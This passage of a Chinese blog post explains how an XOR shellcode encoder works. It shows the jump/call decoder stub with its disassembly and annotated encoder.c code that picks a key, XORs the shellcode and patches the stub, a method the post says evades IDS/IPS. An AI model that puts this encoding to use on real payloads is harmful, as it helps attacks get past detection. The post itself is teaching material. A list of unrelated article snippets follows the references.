0x04 源码解读

下面以decoder_jump_header为例来说明解码部分

unsigned char decoder_jump_header[] = {
0xEB, 0x10, 0x5B, 0x31, 0xC9, 0x66, 0x81, 0xE9,
0xA1, 0xFE, 0x80, 0x33, 0x99, 0x43, 0xE2, 0xFA,
0xEB, 0x05, 0xE8, 0xEB, 0xFF, 0xFF, 0xFF
};

echo -ne "\xEB\x10\x5B\x31\xC9\x66\x81\xE9\xA1\xFE\x80\x33\x99\x43\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF" | ndisasm -u -00000000 EB10 jmp short 0x12
00000002 5B pop ebx
00000003 31C9 xor ecx,ecx
00000005 6681E9A1FE sub cx,0xfea1
0000000A 803399 xor byte [ebx],0x99
0000000D 43 inc ebx
0000000E E2FA loop 0xa
00000010 EB05 jmp short 0x17
00000012 E8EBFFFFFF call dword 0x2

这段就是decoder,也就是前文所说明的部分,然后会在这个解码器的后面放上真正的已经做过处理的shellcode
下面解读部分encoder.c的源代码
这个encoder.c通过xor来处理需要剔除的字节,原理很简单
下面的代码是寻找一个字节,使它与要剔除的字节异或后,产生的新的字节,不会出现在原本的shellcode中
这样做是为了防止原本的shellcode的字节异或后又生成要剔除的字节

/* Scan the shellcode for suitable encode byte */
for (i = 1; i < 255; i++) {/* Mark the candidate as found */
found = 1;/* Try out every byte in encode_bytes array */
for (j = 0; j < size; j++) {/* XOR candidate with encode_bytes */
try = i^encode_bytes[j];/* Now try every byte in shellcode */
for (k = 0; k < len; k++) {c = 0xff&filebuf[k];/* If match, mark the candidate "not found" */
if (c == try) {
found = 0;
break;
}
}
}
/* Break out if byte found */
if (found == 1) break;
}

创建新的shellcode,截取jump传统方式的来解读一下

/* Create the new shellcode *//* jump/call decoder */if (decoder == DECODER_JUMP) {
/* Copy 1st header */
memcpy(&shellbuf[0], decoder_jump_header,
sizeof(decoder_jump_header)); //拷贝解码字节/* Copy the actual shellcode */
for (i = 0; i < len; i++)
filebuf[i] = filebuf[i]^encode_byte;
memcpy(&shellbuf[sizeof(decoder_jump_header)],
filebuf, len); //拷贝经过xor处理后的实际shellcode/* High len byte: */ //处理字节数
shellbuf[9] = ((0x10000-len)>>8)&0xff;/* Low len byte: */
shellbuf[8] = (0x10000-len)&0xff;
/* Adjust, if needed.. */
if (shellbuf[8] == 0)
shellbuf[8]++;/* XOR byte */
shellbuf[12] = encode_byte; //将0x99修改为xor使用的字节/* Decoder register */ //使用不同寄存器的情况下,修改相应的字节,例如ebx的话第三个字节0x5b,第11个字节为0x33,第13个字节为0x43,这些在反汇编下很容易看出来
switch (reg) {
case REG_EAX:
shellbuf[2] = 0x58;
shellbuf[11] = 0x30;
shellbuf[13] = 0x40;
break;
case REG_EDX:
shellbuf[2] = 0x5a;
shellbuf[11] = 0x32;
shellbuf[13] = 0x42;
break;
case REG_EBX:
shellbuf[2] = 0x5b;
shellbuf[11] = 0x33;
shellbuf[13] = 0x43;
break;
}
}

到此为此基本了解了这个编码解码器的原理。这是一种防止限制shellcode个别字符使用的,以及防止IDS/IPS检测等等的方法。

0x05 参考
http://www.klake.org/~jt/encoder/
http://blog.csdn.net/ych_max/article/details/815832

转载于:https://www.cnblogs.com/moonflow/archive/2012/05/24/2516789.html

shellcode xor编码/解码[2]相关推荐

  1. shellcode xor编码/解码[1]

    shellcode的初级变形的一点点总结,大部分搜集.翻译,少量原创 0x01 病毒上重定位问题 0x02 shellcode解码 0x03 一个unix例子 0x04 源码解读 0x05 参考 sh ...

  2. python3字节转化字符_浅谈 Python3 中对二进制数据 XOR 编码的正确姿势

    Python3 中的默认编码是 UTF-8,这给大家写 Python 代码带来了很大的便利,不用再像 Python2.x 那样为数据编码操碎了心.但是,由于全面转向 UTF-8 编码,Python3 ...

  3. HDMI_FPGA实现4K60TMDS编码解码之一

    hdmi1.4 tmds编码解码原理 一个HDMI包括三个TMDS 数据通道和一个 TMDS 时钟通道(像素时钟),如图所示 每一个 TMDS 时钟周期内,TMDS 数据通道上会发送一个 10 位的字 ...

  4. python3 转码的函数_python基础3之文件操作、字符编码解码、函数介绍

    内容概要: 一.文件操作 二.字符编码解码 三.函数介绍 一.文件操作 文件操作流程: 打开文件,得到文件句柄并赋值给一个变量 通过句柄对文件进行操作 关闭文件 基本操作: 1 #/usr/bin/e ...

  5. .NET编码解码(HtmlEncode与HtmlEncode)

    原文:.NET编码解码(HtmlEncode与HtmlEncode) 编码代码: System.Web.HttpUtility.HtmlEncode("<a href=\"h ...

  6. js base64 编码解码

    js base64 编码解码 encode decode,可以直接使用 function Base64() {// private property_keyStr = "ABCDEFGHIJ ...

  7. python使用base64编码解码数据

    python使用base64编码解码数据 base64模块是用来作base64编码解码,常用于小型数据的传输.编码后的数据是一个字符串,其包括a-z.A-Z.0-9./.+共64个字符,即可用6个字节 ...

  8. python email模块详解_python模块之email: 电子邮件编码解码 (一、解码邮件)-阿里云开发者社区...

    python自带的email模块是个很有意思的东西,它可以对邮件编码解码,用来处理邮件非常好用. 处理邮件是一个很细致的工作,尤其是解码邮件,因为它的格式变化太多了,下面先看看一个邮件的源文件: Re ...

  9. java url加密解密,java URL 编码解码,该如何解决

    java URL 编码解码 我写了两个接口 一个是对字符串加密 的,一个是解密的  .加密的可以通过调用接口生成加密字符串如下: Oc0PEwKrLzHqT25hYLhWP5wlk5HROPJoWC3 ...

最新文章

  1. eplan怎么插入表格_EPLAN电气图实例控制柜(控制面板)
  2. struts2 中文乱码问题
  3. SPI及其工作原理浅析
  4. 关于字符串中函数的实现( C语言 )
  5. 计算机专业英语在线测试9,《计算机专业英语》第9章在线测试【DOC精选】.doc
  6. Java文件下载/下载文件的案例
  7. ocLazyLoad angular 按需加载
  8. Java通过反射访问构造方法
  9. Bootstrap简洁、直观、强悍的前端开发框架
  10. finedb(内置的HSQL数据库)迁移数据到MySQL
  11. 2021-2022学期计划
  12. 常见的一些SQL注入漏洞类型
  13. ensp VLAN划分
  14. 基于物联网的多传感器远程温度监测系统
  15. FlashFXP,flashfxp使用方法
  16. Goldendict 1.5.0 VS2015 Qt 5.7 源代码编译
  17. 设计模式1(策略模式)
  18. 有一分数序列: 2/1 3/2 5/3 8/5 13/8 21/13...... 求出这个数列的前N项之和,保留两位小数。
  19. 移动宽带安装说明一(刘欣)
  20. OpenStack 归档 - 虚拟机临时存储与块存储

热门文章

  1. C#与matlab混合编程
  2. 【Delphi】从内存读取或解压压缩文件(RAR、ZIP、TAR、GZIP等)(二)
  3. 【转自小峰博客】协调器的启动【自动模式】
  4. 诗与远方:无题(九十一)
  5. Hadoop问题解决记录
  6. 跨路由器 网段访问rtsp_实验演示:三层交换机与路由器对接
  7. JAVA大厂高频面试题及答案
  8. loggerFactory java_java日志LoggerFactory.getLogger最全讲解使用方法
  9. 《代码敲不队》第九次团队作业:Beta冲刺第1天
  10. 今日SGU 5.20